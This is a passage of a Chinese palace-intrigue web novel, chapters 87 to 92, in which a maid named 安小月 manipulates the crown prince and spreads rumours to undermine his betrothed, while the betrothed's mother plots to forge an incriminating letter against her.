萧衍缓缓坐直身子,深沉的眸子里藏着探究。 与他派过去的人所说并无差别,只不过她多少添油加醋了一些罢了。 不过女子心眼本来就多,他并不介意这些小心思。 唯独不愿意被她再次利用。 萧衍沉默不语,安小月低低哭了片刻,仍等不到回应,终于忍不住抬头看了一眼。 他冷漠的与她对视,眸底藏着辨不分明的意味。 “殿下……”安小月害怕地缩了缩脖子。 萧衍声音平缓,却透着无形的压迫,“但她毕竟是太子妃,你现在告诉孤,是想让孤做什么?” 安小月一怔,她想要什么? 她想要他替她报仇,狠狠教训那对母女。 若是可以,还想断了相府妄图借着太子府更上一层楼的梦。 但她现在脑子还清醒,知道这绝不可能发生。 安小月诚恳地迎上他的视线,后背却冒出一层冷汗,生怕他看出自己的心思。 “殿下,奴只是担心殿下今后会常遇到这种事情,奴只不过是个小小奴婢,安大小姐就这般容不下,若是之后殿下纳了侧妃,安大小姐又该如何?” 她说完轻轻叹了口气,“殿下还有宏图大业尚未开展,后院却乱成这样,奴只是忧心殿下罢了。” 萧衍唇角微扬,“这么说,就算孤不帮你报仇雪恨,你也不会怨恨孤?” 安小月神色一僵,愣住了。 他今日是怎么了?怎么软硬都不吃? 他不帮她是情理之中,但若是让她咽下这口气,却比吞了脏东西还要难受。 不服又心虚,导致她眼神躲闪,支支吾吾的不敢与他对视。 萧衍冷睨着她,逼问,“若你老实些,将心底的想法告诉孤,孤倒不是不能考虑帮帮你。” 安小月心头乱跳,差点就被他说动了。 可在最后关头又想起来狗太子先前翻脸不认人,硬生生把到了嘴边的话咽了回去。 “奴……真心担忧殿下。” 萧衍冷呵,被她不见棺材不落泪的蠢样气笑。 “既然如此,那这事便算了,她毕竟是未来的太子妃,过不上多久便要大婚,孤若是这时候做了什么,外界岂不是以为孤不满安大小姐?” 萧衍慢条斯理说完,似笑非笑地看了她一眼,转身慢悠悠出了门。 安小月呆若木鸡,不知道哪步棋走错了。 她今日回相府,不仅是想见娘和阳儿,也有激怒他们的打算。 只是没想到他们会真的上钩,挨了顿打,倒是顺理成章的将瑞光寺的事牵扯出来。 她目的达成,就算狗太子不帮她报仇也没什么,可心底总归有些不舒服。 安小月挣扎着想要起身,把正巧进来的王嬷嬷吓了一跳,高声大呼。 “姑娘!” 前脚走出院子的萧衍脚步一顿,猛地回身。 苏德忙使唤一旁的小太监,“快去看看怎么回事,若是情况不对,直接去请府医。” 萧衍冷声道,“你去查,若瑞光寺的事真有安欢颜插手,将她押过来,孤有话要问。” 苏德额头沁出冷汗,劝道,“殿下,安大小姐毕竟是太子妃,不过是女子的嫉妒心罢了,若真的闹大了,陛下那里没法交代啊!” 萧衍冷笑,“太子妃?孤说过非她不可吗?” 苏德大惊失色。 听殿下的意思,莫非还想退婚? “殿下,这事……” 萧衍却已没耐心听下去,摆摆手,“孤知道自己在做什么,与她无关。” 苏德顿时噤声。 就算不是完全为了安小月,却和她也脱不了干系。 妖女,妖女啊! 第87章 该亲近就亲近 待府医离开后,王嬷嬷端了药进来,取出团扇轻轻扇着药碗,待热气稍散,才小心翼翼地递到安小月唇边。 “姑娘把药喝了吧。” 安小月后背的伤疼得厉害,压根抬不起胳膊,只能微微偏头就着她的手,一口气把药喝完。 王嬷嬷看着她苍白的脸色,欲言又止。 “嬷嬷想说什么?”安小月躺下时,疼得眉头一皱。 王嬷嬷将药碗放下,掏出帕子帮她擦净唇角,“姑娘今日这般,可是存了要替青莲讨公道的意思?” 她们方才虽被撵出屋子,可哪能逃得过苏德的耳朵。 亏得有他,不然自己也要被蒙在鼓里。 安小月垂眸,“不全是。” 她声音很轻,却字字清楚,“帮她是一回事,实则也是为了帮我自己。” 她顿了顿,“嬷嬷别觉得我心思多,我……” “姑娘。”王嬷嬷突然起身,后退两步,竟直挺挺跪了下去,重重地磕了个头。 “嬷嬷这是做什么?”安小月一惊,想要起身搀扶,奈何根本动弹不得。 王嬷嬷抬起头,眼眶通红。 “不瞒姑娘,我这辈子无儿无女,年过半百才认了青莲当干女儿,她惹出此等祸事,老婆子我又气又心疼,姑娘为了个背主的奴婢,宁愿自己挨这顿打……” 她哽咽道,“我今日才算真正看清了姑娘的为人,从今往后,老奴这条命就是姑娘的,但凡姑娘吩咐,老奴万死不辞!” 安小月望着王嬷嬷花白的发髻,忽然想起来先前青莲也是这样跪在她面前,信誓旦旦地说“这辈子要好好照顾她”。 可后来为了自身的利益,却还是背叛了她。 她幽幽叹气,眼底复杂。 王嬷嬷许久未得到回应,抬起头,正对上安小月那双若有所思的眼睛。 她眼神清澈,仿佛能一下子看透人心。 王嬷嬷挺直腰板,语气坚定,“姑娘不必听老奴怎么说,只管看老奴怎么做便是。” 屋内一时静默。 烛火摇曳,映得安小月苍白的脸色忽明忽暗。 半晌,她才扬唇轻笑。 “好,嬷嬷快起来吧。” 王嬷嬷松了口气,重重磕了个头才站起来。 有心想讨她欢心,凑过去低声说,“殿下向来厌恶旁人插手太子府的事情,安大小姐这次触了逆鳞,肯定落不着好。” 安小月眼神闪了闪,唇角勾起一抹几不可察的冷笑。 她要的就是狗太子的怒。 只有他怒了,相府才不会好过,安欢颜更占不上便宜。 哪怕让她付出同样的代价,也心甘情愿! 翌日,苏德一大早便带着查证的结果匆匆来报。 “殿下,查清楚了。” 萧衍抬头,眼底寒意凛冽,“说。” “那日的确有人瞧见三公主与安大小姐在凉亭下说话,也有人瞧见三公主的贴身嬷嬷把青莲带走。” 苏德顿了顿,“奴才打听到的是,安大小姐只是挑拨了几句,并未直接动手。” “呵。”萧衍冷笑,“还未嫁入东宫,就敢插手太子府的内务?” “若真让她进了门,以后太子府岂不是要改姓安?你亲自去相府,把她给孤请过来。” 他声音冷漠,尤其加重了“请”这个字。 听得苏德心头不断发颤,带着人马不停蹄去了相府。 半个时辰后,安欢颜得知太子召见,先是惊讶,随即心头涌上一阵狂喜。 “太子殿下竟然会主动召见我?”她忙扭身去照镜子,语气中带着几分自得。 “我就知道昨日不去,殿下定会觉得不习惯。” 说着拿起螺子黛在眉上轻扫,唇角不自觉扬起。 镜中的美人眼波流转,顾盼生辉,她满意地抿了抿唇,正要起身,忽然脸色一变。 “不过……昨日安小月那个贱人刚从相府挨了打回去,殿下今日就召见我,莫不是为了这事?” 安欢颜捏紧了手中的帕子,正犹豫不定,王氏掀帘而入。 “颜儿,听说太子殿下召你去太子府?” 安欢颜急忙迎上去,声音带着几分慌乱,“母亲,您说太子突然召见,该不会是因为昨日之事吧?” “那个贱婢?” 王氏嗤笑,眼中闪过一丝狠辣,“她算什么东西?也配太子过问?太子只是身边常年没有女人,觉得稀奇罢了,长久不了。” 她说着搂住女儿的肩膀,语重心长地劝。 “你且记住,你才是未来的太子妃,那安小月如今仗着有几份狐媚得宠,你可不能被她比下去。” 安欢颜咬了咬唇,“母亲的意思是?” 王氏凑到安欢颜耳边低语,“太子就算真的有伤在身,那也是男子,他都能接受安小月,凭什么不能接受你?你待会见了他,不必太拘礼,该亲近时便亲近些。” 安欢颜一怔,脸颊微红,却还是点了点头。 “女儿明白了。” 她精心打扮,换了身素雅的衣裙,又特意在袖间熏了香,才跟着苏德前往太子府。 踏入内殿时,安欢颜的心跳快得几乎要跳出胸口。 她强装镇定,盈盈一拜,“臣女参见太子殿下。” 萧衍头也未抬,冷声道,“坐。” 安欢颜便大着胆子选了离他最近的位置,借着整理裙摆的机会,偷偷打量着他。 见他神色淡定未有异常,不着痕迹地松了口气。 太子殿下不是隐忍的人,若真是寻她麻烦,估计早就发了火,何必等到现在? 况且今日那贱婢也不在屋里伺候,怕是又惹怒了太子,丢到一旁自生自灭了吧。 安欢颜唇角微微上扬,心思渐渐活跃起来。 屋内一片寂静,只有太子翻阅文书的声音。 终于,安欢颜等不住了。 她主动起身,执起茶壶,“殿下,茶凉了,臣女替您添些热的。” 她微微倾身,衣袖若有似无地拂过太子的手背,那股幽香徐徐弥漫开来。 添茶时,指尖不经意碰了下他的手背,又迅速缩回,故作羞怯地低下头。 萧衍抬眸,目光如刀锋般锋利。 “你今日过来,就只是为了给孤添茶?” 安欢颜羞涩不敢抬头,柔声道,“臣女……仰慕殿下风姿,想与殿下多亲近些。” 萧衍冷笑,突然将手上的书重重扔到桌上。 “既然如此,那孤问你,你为何要挑拨三公主,陷害太子府的婢女?” 第88章 怎可为皇家妇 安欢颜脸色瞬间苍白。 “臣女……臣女不知殿下在说什么!” 她声音发颤,鬓边开始生出冷汗,手也不自觉地颤抖起来。 但对面的人眸色冰冷,死死盯着她,便是想躲都没地方躲。 萧衍一字一顿,“孤最厌恶有人插手太子府的事情,尤其是心思不纯的人。” 安欢颜手抖得更厉害了,冷汗一滴滴从额头滚落,她再也支撑不住,扑通一声跪倒在地。 “殿下恕罪,臣女只是一时糊涂,臣女……” 她闭了闭眼,艰难出声,“臣女嫉妒安姑娘能日日亲近殿下,这才做了蠢事,求殿下恕罪!” 萧衍站起来,居高临下地看着她。 低沉的嗓音带着几分危险,“安欢颜,记住你的身份,若是再有下次……” 他刻意顿了顿,冷哼一声。 “换个人做太子妃,也不是不行。” 安欢颜如坠冰窟,整个人几乎瘫软在地。 她眼前一阵阵发黑,甚至有种错觉,以为这些都只是她想象出来的罢了。 这时,萧衍又冷呵一声,“滚吧。” 安欢颜如梦惊醒,爬起来颤巍巍行了个礼,踉跄着退了出去。 她失魂落魄地走出内殿,狼狈的模样尽数落入太子府所有人眼中,却丝毫顾不上遮掩。 直到走出太子府,她脸色依旧苍白如纸。 丫鬟连忙迎上来,“小姐,出什么事了?” 安欢颜恍若未闻,眼神飘忽没有焦距,脑海中只有一个念头。 完了。 她本以为,安小月只不过有几分姿色和手段,根本比不过她堂堂相府嫡女的身份。 也以为只要她讨得太子欢心,就能稳固自己的地位。 可如今,她不仅没能勾引成功,反而彻底触怒了太子! 瑞光寺的事不是已经过去了吗? 太子怎么偏偏在这个时候提起来! 安欢颜突然想起来昨日安小月那个贱人提起三公主身边的嬷嬷失足落水之事,瞳孔骤缩。 莫不是她在背后挑拨的太子殿下替她出头? 若真是这样…… 安欢颜神色逐渐变得凝重,她们就低估了安小月在太子心里的分量了。 与此同时,王嬷嬷背着人从小路急匆匆往回跑。 时不时扭过头环顾四周,生怕被人撞见。 她进了屋子,嘴角便不自觉地上扬起来,“姑娘,好消息,天大的好消息!” 安小月也跟着笑,“嬷嬷别急,出什么事了?” 王嬷嬷脸上带着藏不住的喜色,压低声音道,“老奴方才在回廊下亲眼瞧着那安大小姐失魂落魄的从内殿出来,活像是被太子殿下狠狠责骂了一顿似的。” 安小月眼底闪过一丝异色,“当真?” “可不是!”王嬷嬷一脸的痛快,“她那张脸白的跟纸似的,连路都走不稳,何况不只有老奴瞧见了,跟前的人多着呐!” 安小月垂眸,若有所思。 看来太子今日召见安欢颜,应当是因为自己昨夜说的那些话起了效。 王嬷嬷又说太子最厌恶被别人插手内宅之事,若真是这样的话,那便八九不离十了。 她轻声叹道,“若是能知道殿下为何责骂她就好了。” 安欢颜若真的被责骂,定然会猜到是她在背后挑拨,说不定很快就会想出应对之策。 她要抓紧时间,在相府做出应对之前提前想到解决办法。 王嬷嬷神秘一笑,“姑娘想知道的话,这还不简单?老奴倒是有个门路。” 安小月蹙眉,“嬷嬷要亲自过去打听?” 先前狗太子一直派人暗中盯着她,后来她在外头待了几日,应当是没人盯着。 可如今却不知道情况如何。 她虽然不怎么担心被狗太子知晓她的小心思,可仔细一想,这倒是个考验王嬷嬷能力的机会。 安小月压低声音,“嬷嬷若真的要去,那便小心些,最好能做的神不知鬼不觉。” 王嬷嬷拍了拍胸脯。 “姑娘放心,这事儿包在老奴身上!” 安小月轻轻一笑,从枕头下取出个荷包递过去,“那就有劳嬷嬷了。” 王嬷嬷犹豫,不愿意收她的银子,可安小月态度却很坚决。 “嬷嬷是替我做事,哪能让嬷嬷出银子?先前殿下赏我的银子还剩下不少,尽够用了。” 王嬷嬷这才放心收下,连连点头。 “姑娘放心,老奴去去就回。” 说罢,她匆匆退了出去。 安小月望着她离开的背影,眸色渐深。 约莫过了一个多时辰,安小月要喝药时,她才匆匆从外面回来。 没有着急进屋子,把煎好的药端上,又取了些点心才轻手轻脚地推门而入。 喂药时,王嬷嬷凑在当小月耳边低语,将打听到的消息一五一十的告诉了她。 安小月听完,唇角缓缓勾起一抹笑。 果真如此,那就好办了。 她眼底闪过一抹算计,低声道,“嬷嬷,你说若是外面的人知道安大小姐嫉妒成狂,暗中插手东宫内务,甚至被太子殿下当众责骂……会不会觉得殿下有意退婚?” 王嬷嬷错愕地瞪大了眼睛。 “姑娘难道是想……” 安小月回答的模棱两可,“嬷嬷也瞧见了,我并无害人之心,只是她现在就容不下我,若是之后真的嫁进来,我还能有活路?” 她活不下去,王嬷嬷更会活不下去。 王嬷嬷听明白了她的意思,没有犹豫多久就做好了决定。 “姑娘放心,老奴知道轻重。” 她压低的声音带着几分幸灾乐祸,“堂堂相府嫡女,竟如此善妒张狂,如此品行,怎可为皇家妇?这要是传出去,怕是连皇后娘娘都要对她失望了!” 安小月唇角微勾,“就算不能扳倒她,也让她吃点苦头,否则就该是你我吃苦了。” 王嬷嬷忙道,“姑娘放心,老奴这就去安排,保证明日整个京都都传遍这件事。” 她转身就要往外走,安小月又急忙把人拦住。 “等等,我还有话要说。” 王嬷嬷又凑了过来,“姑娘还有何吩咐?” 安小月用手掩唇,轻声道,“此事不能直接散播出去,否则太子一旦追查,很容易查到我们头上,只有借他人之口,不仅容易让人相信,还不会牵扯到我们。” “比如……” 她在王嬷嬷手心写了两个字,后者瞬间会意。 “老奴明白了!” 第89章 幕后凶手 事实证明,王嬷嬷能在东宫平安无事待了几十年自然有她的本事。 翌日午后,就连闭门不出的安小月都听到了传闻。 “听说了吗?相府那位安大小姐,昨日那般模样从里面出来,竟然是被殿下狠狠责骂了一顿!” “怎么回事?未来的太子妃也会被责骂?” “你也说了,那是未来的太子妃,如今外头都在传安大小姐嫉妒成性,还暗中插手太子府的事情,还有人说……殿下有意与相府退婚呐!” 流言如同野火,就连太子府内都烧得热烈,更别提外面了。 安欢颜狠狠砸碎了屋里摆设的精贵瓷器,在院子里肆意发泄着怒火。 “是谁?到底是谁把消息传出去的!” 院子里跪了一地的丫鬟婆子,为首的那个是跟着安欢颜昨日去太子府的小桃。 小桃战战兢兢道,“小姐,奴婢也不知道,不如咱们派人出去查查?” 安欢颜浑身发抖,气血快速上涌,用力扇了小桃一耳光。 “我不知道要派人去查吗?还用你来提醒我!废物!全都是废物!竟然能让这种事情传出去!” 如今整个京都都知道她被太子责骂,甚至有可能失去太子妃之位。 别人如何说她暂且不用面对,父亲那里又该怎么办? 这个念头刚起,院外已传来急促的脚步声。 “颜儿?” 王氏率先冲了进来,脸色慌乱,“昨日到底出了什么?现在大街小巷都在议论相府嫡女善妒失德,你不是说殿下昨日见到你,很是开心?” 紧随其后的安禄海面色阴沉,犀利冷厉的眼刀直直射到安欢颜身上。 “父亲,母亲,女儿……” “啪!” 话音未落,安欢颜感觉脸颊火辣辣的疼,她踉跄着差点撞到屏风上,耳边嗡嗡作响。 安禄海面色铁青,怒不可遏。 “我费尽心思把你送上太子妃之位,花费多少精力钱财把你养大,你竟然能做出如此蠢事!” “竟然敢插手东宫之事,还能被人发现……你的脑子是被狗啃了吗!” 他怒吼一声,抬起胳膊又想打人,却被王氏眼疾手快地挡在中间。 王氏护在女儿前面,急声道,“老爷!颜儿有多在意这个位置,你又不是不知道,何必为难她?这背后必定有小人作祟,依我看当务之急是先把这个小人揪出来!” “蠢货!”安禄海指着王氏的鼻子骂。 “揪出来又能如何?难道她没做过这些蠢事?当务之急是要挽回太子的心意!” “你们且等着吧,明日朝堂上一定都是弹劾我的奏折,说不定连陛下都要亲自过问!” 他愤怒地瞪了安欢颜一眼。 “你知道这意味着什么?若是真的丢了太子妃的位置,连累家族名声,你也不用活着丢人现眼了!” 安欢颜面上血色全失,彻底慌了。 “父亲,女儿先前是做了些糊涂事,但女儿只不过是说了几句话而已,事情都是三公主做的,却甩到女儿身上,女儿不服!” “闭嘴!”安禄海冷眼看着她。 “事到如今,你还敢攀扯三公主?你怎的知道三公主的贴身嬷嬷失足落水当真是意外?说不定殿下早就知道是你们在后捣鬼,不忍心责罚你罢了。” “可你却蠢到家了,这才惹得殿下大怒,你们……真是妇人之仁!” 安禄海甩袖转身就走。 “三日之内,若是你不能让殿下打消这个心思,你就早早绞了头发做姑子去吧。” 待他离开,安欢颜瘫软在地,如同落水之人一样狼狈。 王氏咬牙切齿道,“若不是他提议要把安小月那个贱人送进去,殿下怎么可能被她迷惑,你又何必铤而走险做出这种事?现在倒是把错都甩到你我身上!” 安欢颜眼中逐渐凝聚出疯狂的光芒,急忙抓紧王氏的手。 “母亲,我知道了,一定是安小月那个贱人!一定是她在背后挑拨!” 王氏皱眉,迟疑道,“颜儿,你当真确定是她?” “太子府向来围得像铁桶一般,传消息出来更是难上加难,凭太子殿下的本事,若真的是她,一定早早就被揪出来了,可现在却一点消息都没有。” 安欢颜一怔,喃喃自语,“那会是谁?” 王氏眸色闪了闪,低声道,“会不会是三公主?” “三公主?”安欢颜不解,“三公主住在宫里,怎么会知晓太子府发生的事情?” 对于这个疑问,王氏显然早就想到了答案。 “皇后娘娘能塞人进去,说不定三公主也塞了人?她八成早就知道那老东西是被人害死的,这才一直留意着太子府的动静,好巧不巧就撞上了你被太子责骂。” 后面的事情就简单了。 三公主不甘心只有自己受罚,所以暗中将这件事传了出去,好出一口恶气。 安欢颜原本一直以为安小月是幕后凶手,听母亲这么一分析,也动摇了想法。 难道当真是三公主? 王氏把她扶起来,心疼地摸了摸她的头发,“颜儿,现在不是伤心的时候,你父亲说只给你留了三日,你想好该怎么做了吗?” 安欢颜抿了抿唇,只感觉头疼欲裂。 “出了这种事情,我若是再去太子府,只会被人认为是去赔罪,除非有人帮忙从中说和。” 两人对视一眼,同时想到了宫里那位。 王氏眸中精光一闪而过,“好,就这么办,三公主是被她教养长大,也该她站出来收拾烂摊子,颜儿放心,明日娘就进宫替你求情。” 安欢颜哽咽着扑进王氏怀里,母女两个抱头相依。 与此同时,玉庆宫里气氛也是如出一辙的压抑。 苏德硬着头皮道,“奴才派人查过了,消息真真切切是从相府里传出来的,只是一开始传的那个人却不见了……” 萧衍蹙眉,目露嫌弃。 “既然都没找到人,为何确定消息是从相府传出来的?” “这……” “罢了。”萧衍冷笑一声,“孤知道是谁。” 他意味不明地挑了挑眉,她倒是比他想象中的更有手段,只是过于着急了。 “她这两日养得如何?可能下床走动?” 第90章 轻轻放下 苏德躬身回禀,“回殿下,听王嬷嬷说安姑娘这几日比前两日好些了,只是依旧不能下来走动,府医说伤及筋骨,至少还得养五六日才行。” 萧衍指尖敲着桌沿,眸色幽深,“所以她不知道外头发生了什么?” “这……”苏德迟疑,“王嬷嬷素来嘴严,但府里闹出这般动静,安姑娘应当不会完全不知情。” 顿了顿,他又谨慎补充道,“不过王嬷嬷和安姑娘日夜相处,倒也说不定,殿下若是想知道,奴才这就去打听。” “不必。” 萧衍忽然冷笑,“她想玩,孤陪她玩便是。” 一个谎要用无数个谎话来圆,等雪球滚到遮天蔽日之时,希望她还有胆量站在自己面前。 苏德听得云里雾里,试探道,“殿下,安大小姐那边……” “不必管她。”萧衍冷冷道,“自作孽不可活,再说,自有人会替她鸣不平。” “诺。”苏德又问,“安姑娘那边可还要派人跟着?” 萧衍沉默片刻,微微颔首。 “继续盯着。” 他算是发现了,安小月怕是八字带煞。 只要她沾手的事情,总要平地翻起三尺浪,如今太子府的门槛都快要被她掀起的风波磨平了。 早知如此,那次她被送回来他就应该继续派人盯着她。 省得她今日掀瓦,明日拆梁,一点琐事闹得满城风雨,他却是最后一个才知道。 “如今倒也不晚。”萧衍咬了咬牙,突然出声,“既是个闲不住的,等她伤好了,多给她找些事情做。” 省得到处惹事,还要他善后。 这句话苏德听懂了,却笑笑不说话。 瞧着吧,不用等到那时候,他家爷自个儿就先后悔了。 任凭外头闹得风风雨雨,太子府内一片安然,就连安小月这个始作俑者都睡得香甜。 而相府的烛火却燃到清晨才灭。 晨雾未散,一夜未睡的王氏和安欢颜登上进宫的马车。 “待会儿进了宫可要记牢了,纵使我们疑心背后主使是三公主,也得咬死是安小月传出去的谣言。” 安欢颜略作思索便想清楚了母亲的用意,点头应下。 “母亲放心,只要这话递到皇后娘娘耳中,娘娘岂能继续容下安小月这般放肆?” 两人相视一笑,眼底那点仓皇犹如晨雾一般悄然散去,只剩下势在必得。 凤仪宫 皇后端坐于凤椅之上,指尖轻轻拨弄着茶盏,神色漠然。 “娘娘!”王氏挤出两滴眼泪,声音哽咽,“颜儿自小倾慕太子殿下,一时糊涂才会耍些小心思,可那安小月心机更是深沉,故意散布流言,毁我相府声誉,还请娘娘做主!” 皇后抬眸,目光落在安欢颜身上,似是好奇,“太子当真责骂你了?” 安欢颜身子一颤,低声道,“回娘娘,殿下只是对臣女有些误会而已。” “既是误会,解开便是。”皇后漫不经心地戴上护甲,眼底带着浓浓的倦怠。 “何苦大清早过来找本宫做主?” 安欢颜脸色煞白,急忙叩首。 “娘娘明鉴,如今坊间流言四起,皆道殿下有意退婚,可臣女前几日入太子府侍奉汤药,殿下虽未露喜色,却也未曾动怒,怎会一夜之间陡生变故?” 她指尖微蜷,又轻声道,“更何况……陛下已降下旨意,将大婚之期提前,殿下素来重视孝道,岂会违背圣意,令陛下与娘娘为难?” “这话说得有理。” 皇后不置可否,转头对身旁的嬷嬷道,“去查查这流言究竟是谁散布的?” 嬷嬷领命退下。 王氏心中一紧,连忙道,“娘娘,此事一定是安小月所为!她生了妄念,才想着拉下颜儿,好独占太子殿下!” 皇后淡淡扫了她一眼,“证据呢?” 王夫人语塞,面色讪讪。 皇后指尖轻抚茶盏,缓声道,“你们既来求本宫做主,本宫自会给你们一个交代,不过……” 她话音一顿,眼底掠过一丝深意,“眼下最要紧的,可不是揪出什么幕后之人,而是如何让太子回心转意。” 她将茶盏搁下,与案几碰出清脆一响。 “回去安心等着吧,只要太子肯点头,那些流言蜚语自然不攻自破。” 王氏与安欢颜对视一眼,眼底皆是不甘。 她们今日来,本是想借皇后之手惩治安小月,却不想皇后明明听出弦外之音,却故作不知。 皇后见她们不动,指尖轻敲案几,语气已带着几分不耐。 “安小月如今办的正事已有些眉目,若因你们一时意气,随意拿人问罪,耽误了要紧事,这责任谁来担?” 安欢颜攥紧帕子,指节发白。 王氏眸色露出一丝恼恨,却终究未再言语。 皇后见二人神色僵硬,语气忽而柔和了几分,带着几分安抚的意味。 “罢了,你们且先回去,若当真查实是安小月所为,本宫自不会轻饶,只是现在还不是时候。” 她目光落在安欢颜身上,似笑非笑。 “你是个聪明人,总不会想稀里糊涂地嫁进东宫吧?” 她意味深长道,“储君之位尚未尘埃落定,你如今这般急切,倒像是……已经认定了太子?” 安欢颜闻言浑身一颤,猛地惊醒,脸色瞬间煞白。 她立刻“扑通”一声跪倒在地,额头紧贴地面,声音发颤。 “娘娘明鉴!臣女一时糊涂,绝无半点不敬之心!” 王氏也连忙叩首,语气惶恐而谄媚。 “是臣妇管教无方,险些误了大事!娘娘宽宏大量,饶了我们这回吧!” 她顿了顿,又挤出讨好的笑容。 “娘娘睿智无双,能得娘娘指点,是颜儿几世修来的福分,绝不敢再有怨言!” 皇后见状,眼底闪过一丝讥诮,却只是淡淡摆手。 “行了,本宫乏了,退下吧。” 二人如蒙大赦,连忙叩首谢恩,退到殿外时,后背早已被冷汗浸透。 回府的马车上 安欢颜眼中怒火翻涌,猛地一捶软垫,喉间哽咽。 “凭什么!我平白背上恶名,皇后娘娘竟因她还要引诱太子将此事轻轻放下!” 王氏同样不满皇后的反应,眼底划过阴毒。 “颜儿莫急。”她凑近女儿耳边低语,“娘有法子让她身败名裂……” 安欢颜眸光一亮,忙不迭红着眼用力点头。 “母亲,我要让她也尝尝被人唾弃的滋味!” 第91章 私相授受 那日风波过后,原本躁动不安的相府骤然沉寂下来。 听说安欢颜闭门不出,整日只在佛堂抄经,连院门都鲜少踏出一步。 安小月倚在廊下晒太阳,蹙眉道:“她竟真能忍得住?” 王嬷嬷想着从小厨房那儿打听到的消息,唏嘘不已。 “姑娘,如今外头都在传安大小姐是诚心悔过,相府甚至设了棚子施粥赠药,坊间风向与之前截然相反,咱们可要……” 安小月轻轻摇头,“不必,已经够了。” 破镜岂能重圆? 安欢颜伪装的再好,也会有彻底暴露的那天,她等的来。 不过…… 安小月心口猛地一紧。 娘和阳儿还在相府。 安欢颜如今名声受损,还拿她没法子,若真的恼羞成怒,会不会转头去折磨娘和阳儿? 安小月突然急躁起来,想立刻回去看看。 可刚一动念头,后背的伤便隐隐作痛。 她一下子泄了气。 这件事过去了几日,太子虽未明说,只怕早已经怀疑上了她,再贸然行动,只会引来更多猜疑。 安小月闭了闭眼,再睁开时,眸中已是一片坚决。 “嬷嬷,帮我拿笔墨过来。”她低声道,“我写封信,你悄悄送去给……” 王嬷嬷闻言目露诧色,却还是一口应下。 片刻又为难道,“有件事老奴一直不知道怎么与姑娘明说。” 她迅速整理好措辞,压低声音,“老奴这几日察觉苏德好似盯上我们了。” 安小月指尖一顿,抬眸看向王嬷嬷,“苏公公在防备你?” 王嬷嬷神色忐忑。 “老奴也是这两日才觉出不对,那苏德每回见着老奴,总要东拉西扯问些姑娘的饮食起居……” 她越说越觉得不对劲,神色逐渐凝重起来。 “昨儿还特意问姑娘在太子府可还有其他要好的姐妹,老奴问他问这些作何,那老小子却插科打诨,不肯直说。” 安小月紧抿着嘴唇,“若是托人去送,嬷嬷可有十足把握避开苏公公?” 王嬷嬷眉头紧锁“这府里如今……” 她拍了拍荷包,“就怕人心喂不饱啊。” 安小月幽幽叹气,许久未言。 可没过多久,她突然低喃一声,“苏公公若真起疑,又怎会蠢到打草惊蛇?” 王嬷嬷一愣,“姑娘的意思是?” “除非他在试探。”安小月皱眉,一手摩挲着下巴,似乎是在思考着什么。 “有两种可能,要么是想看你会不会心虚,要么……” 她顿了顿,双眼炯炯有神,“就是故意让你来告诉我,好引我自乱阵脚。” 王嬷嬷倒吸一口凉气,细细回想,又后怕地拍了拍胸脯。 “还好老奴什么都没说。” 安小月重新执笔,嘴角勾起一抹笑,“既然他们想看,那就让他们看。” 她落笔极快,字迹却歪歪扭扭,像是孩童初学写字似的,甚至夹杂着几笔古怪的符号。 “嬷嬷照常去小厨房。”她将信折起来,“找个可靠的把信送到醉仙楼二楼雅间。” 安小月露出不怀好意的讥笑。 “我倒要看看这封信能钓到几条大鱼。” 王嬷嬷会意,摆出一副鬼鬼祟祟的模样,脚步匆匆地出了院子。 果然,她刚走不久,暗处便有人影悄然跟上。 半个时辰后,醉仙楼的小二接过信,上了二楼,转头便递给了屏风后的人。 消息几乎是立刻传到了太子府。 萧衍黑着脸听完苏德的禀报,冷笑一声,“果然,她按捺不住了,信上写了什么?” 苏德却一脸为难,“这,殿下还是亲自看看吧。” 萧衍啧啧不悦,接过去扫了眼。 歪歪扭扭的字迹,稚嫩如孩童启蒙练字都不如,甚至夹杂着他都看不懂的符号。 萧衍眉头一皱,“这是什么?” 苏德似懂非懂道,“可能是给安姑娘弟弟送的信?” 萧衍挑了挑眉,沉吟片刻。 “的确有这个可能,不过她大概率是反应过来了。” 萧衍将信扔下,不以为然地撇了撇嘴。 “她极有可能是在试探信会落到谁手上,你让人把信送回去,再将消息递给相府。” 苏德一怔,随即嘴巴大张。 “殿下莫不是想看安大小姐和安姑娘再斗起来吧?可是这,这……” 萧衍眼角眉梢都荡开了笑意。 “她不是防着孤么?闲得想东想西,不如给她找些事情做。” 苏德脸上神色复杂。 他的爷就没想过安姑娘回回都能把事情闹得一团糟,背后是有他在煽风点火么? 事情弄大了还要帮人善后,帮就帮了,嘴上还嫌弃…… 苏德欲言又止了许久,终归是什么都没说。 半日后,安欢颜果然收到了消息。 她捏着那封字迹歪扭的信,指尖发紧。 “这是……给那个小畜生的暗号吧?”王氏冷笑一声,直接将信凑到烛火上,“烧了干净。” 火舌卷过信纸,很快就烧成灰烬。 王氏突然灵机一动,“颜儿,不如我们伪造一封信,就说……安小月暗中联络外男,私相授受!” 她又附耳低语几句,安欢颜眸光骤亮。 “好!”她按着胸口,神色略显兴奋,“她不仁在先,就别怪咱们把那位拖下水了。” 王氏阴恻恻一笑,“不错,这也怪不上我们,谁让她们一个个都见死不救!” 安欢颜想了想,慢吞吞道,“那这封信就不能只是简单的私通,得是安小月与六殿下密谋,意图借太子之手,搅乱朝局。” 王氏眼中精光一闪,“妙极,上次她不是跟着太子去田庄遇见了狼群,就说……” 母女两个凑在一起密谋,全然不知所做的一切都被暗处的人尽收眼底。 一连过了几日都风平浪静。 安小月后背的伤早已大好,她也歇够了,因此苏德一来叫人,她二话不说便上了值。 傍晚,苏德笑眯眯地递来值夜牌子。 “安姑娘,今夜轮到你守夜了。” 安小月指尖一顿,抬眸,“守夜一向是苏公公的差事,怎么突然换人了?” 苏德笑容不变,“殿下亲自点的名,说姑娘心细,夜里也比旁人警醒些。” 安小月抿了抿唇,很是不愿意。 殿外有赵忠带人把守,要那么警醒作何? 狗太子怕不是担心自己起不了夜,丢人吧…… 第92章 谁教的规矩 安小月咬唇低低的笑,看着苏公公几乎要塞进自己嘴里的牌子,也只能抬手接过来。 “是,公公放心。” 她定会让太子殿下忘不了这一夜。 入夜后,太子府终于陷入寂静之中。 安小月拢了拢单薄的衣衫,靠在外间小榻上,眼底清明一片。 歇了这么久,狗太子果然开始折腾人了。 她百无聊赖地扫了眼四周,忽然发现内殿好像换了布置,有许多她都未曾见过。 也是,都过了这么些日子,天气渐渐暖和,也该换得了。 就是不知狗太子身上的伤养得如何…… 这念头刚冒出来,她自己先怔了怔,随即自嘲似的轻轻摇头。 管他做什么? 他故意让她守夜,不就是想折腾人么? 她才不操心。 